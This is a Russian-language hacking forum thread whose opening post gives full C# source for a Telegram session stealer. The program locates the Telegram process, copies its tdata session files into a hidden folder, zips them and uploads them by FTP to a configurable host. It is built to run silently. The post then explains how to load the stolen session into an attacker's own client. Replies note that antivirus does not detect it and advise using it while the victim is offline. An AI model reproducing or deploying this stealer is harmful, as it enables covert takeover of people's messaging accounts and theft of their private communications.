• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Воруем Windows сессию Telegram

Кудрявый

Green Team
06.03.2017
14
19
Здравствуйте всем!

Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.
И по этому решил написать свою первую тему на этом форуме.

Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:
  • D877F783D5D3EF8C0 (последняя цифра может быть другой)
  • D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой)
Для примера я написал простенькую консольную програмку на C#:
Код:
using System;
using System.IO;
using System.Diagnostics;
using System.IO.Compression;
using System.Net;
using System.Threading;

namespace TStealer
{
    class Program
    {
        private class StealStart
        {
            private bool in_folder = false;


            public StealStart(string host = "", string login = "", string pass = "", bool del_zip = false)
            {
                new Thread(() => StealIt(host, login, pass, del_zip)).Start();
            }


            private void StealIt(string host, string login, string pass, bool del_zip)
            {
                var prcName = "Telegram";
                Process[] processByName = Process.GetProcessesByName(prcName);

                if (processByName.Length < 1)
                    return;

                var dir_from = Path.GetDirectoryName(processByName[0].MainModule.FileName) + "\\Tdata";
                var this_fileLocation = System.Reflection.Assembly.GetEntryAssembly().Location;
                var dir_to = Path.GetDirectoryName(this_fileLocation) +
                            "\\Tdata_" +
                            (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds
                            ;
                var zipPath = dir_to + ".zip";


                CopyAll(dir_from, dir_to);
                ZipDir(dir_to, zipPath);
                Directory.Delete(dir_to, true);

                if (host == "")
                    return;
     
                LoadOnFtp(zipPath, host, login, pass);

                if(del_zip)
                    File.Delete(zipPath);
            }


            private void CopyAll(string fromDir, string toDir)
            {
                DirectoryInfo di = Directory.CreateDirectory(toDir);

                di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;

                foreach (string s1 in Directory.GetFiles(fromDir))
                    CopyFile(s1, toDir);

                foreach (string s in Directory.GetDirectories(fromDir))
                    CopyDir(s, toDir);
            }


            private void CopyFile(string s1, string toDir)
            {
                try
                {
                    var fname = Path.GetFileName(s1);

                    if (in_folder && !(fname[0] == 'm' || fname[1] == 'a' || fname[2] == 'p'))
                        return;

                    var s2 = toDir + "\\" + fname;

                    File.Copy(s1, s2);
                }
                catch { }
            }


            private void CopyDir(string s, string toDir)
            {
                try
                {
                    in_folder = true;
                    CopyAll(s, toDir + "\\" + Path.GetFileName(s));
                    in_folder = false;
                }
                catch { }
            }


            private void ZipDir(string dir_to, string zipPath)
            {
                try
                {
                    ZipFile.CreateFromDirectory(dir_to, zipPath);
                    File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
                }
                catch { }
            }


            private void LoadOnFtp(string zipPath, string host, string login, string pass)
            {
                try
                {
                    using (WebClient client = new WebClient())
                    {
                        client.Credentials = new NetworkCredential(login, pass);

                        client.UploadFile("ftp://" + host + "/" + Path.GetFileName(zipPath), "STOR", zipPath);
                    }
                }
                catch { }
            }
        }


        static void Main(string[] args)
        {
            //var stealT = new StealStart();

            var host    =   "example.host.com";
            var login   =   "example_login";
            var pass    =   "example_pass";

            var steal_With_FTP = new StealStart(host, login, pass, false);
        }
    }
}

Добавить ссылку на System.IO.Compression.FileSystem (Проект --> Добавить ссылку)
Делаем тихий запуск (Проект --> Свойства --> Тип выходных данных --> Приложение Windows)
upload_2017-12-17_21-57-24.png


Думаю код написан как самокомментируемый. Ну суть вкратце напишу.
Мы ищем процесс затем берем её директорию для дальнейшего копирования настроек и сессии. Затем мы создаем ZIP архив и отправляем по FTP.

Использовав конструктор без параметров (new StealStart();), то мы просто копируем настройки сессию в ZIP.
new StealStart(host, login, pass, false); - хост, логин, пасс от ФТП и бул который отвечает удалить ли ZIP после закачки на FTP.

После запуска, рядом с exe будет скрытая zip-ка (или на ftp).
upload_2017-12-17_22-0-11.png


Создаем новую дерикторию и копируем туда свой Telegram.exe и дерикторию tdata удалив всё содержимое. С архива перетаскум туда D877F783D5D3EF8C0 и дерикторию D877F783D5D3EF8C.
В итоге должно выйти так:
upload_2017-12-17_22-4-18.png

В tdata:
upload_2017-12-17_22-4-43.png

В D877F783D5D3EF8C:
upload_2017-12-17_22-5-27.png


Дальше запускаем телеграм.ехе, и он сам всё докачает.

Как-то так мы получили сессию от телеги. Всем удачи!
upload_2017-12-17_22-46-30.png
 

Вложения

Последнее редактирование:
Получается телега не делает никакой привязки к HWID?
 
Смотрел кто по палевности?
Палевности? От чего, если от АВ - тишина.
А так одновременно 2-е сессии нормально не работают. У жертвы могут быть типа "траблы с интернетом" из-за чего сообщения не приходят. Из-за чего могут возникнуть подозрения у жертвы.
То есть лучше использовать, когда жертва оффлайн, или сидит не с Виндовс сессии.
 
  • Нравится
Реакции: remez
Получается телега не делает никакой привязки к HWID?
телега вообще странная вещь у меня к примеру Desktop версия работает уже полтора года на номере которого у меня нет уже полтора года и проверок как вайбер (требует подтверждения если с телефона удалил примерно через неделю + - пару дней) не требует
 
[doublepost=1513614249,1513614171][/doublepost]
телега вообще странная вещь у меня к примеру Desktop версия работает уже полтора года на номере которого у меня нет уже полтора года и проверок как вайбер (требует подтверждения если с телефона удалил примерно через неделю + - пару дней) не требует
Ну это я считаю не странность, а большой плюс, зачем требовать смс если есть уже другие верифицированые пользователем сессии и код для двухфакторки лучше послать на них, а не смской.Я так например зарегал свою телегу на левую симку котору потом зачем то сжёг (четсно хз зачем) а закрепился в телеге сессией в эмуляторе на бесплатном годовом амазоне
 
блин, я такой тупой, либо не понятно что делать, с чего начинать по данному гайду (
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab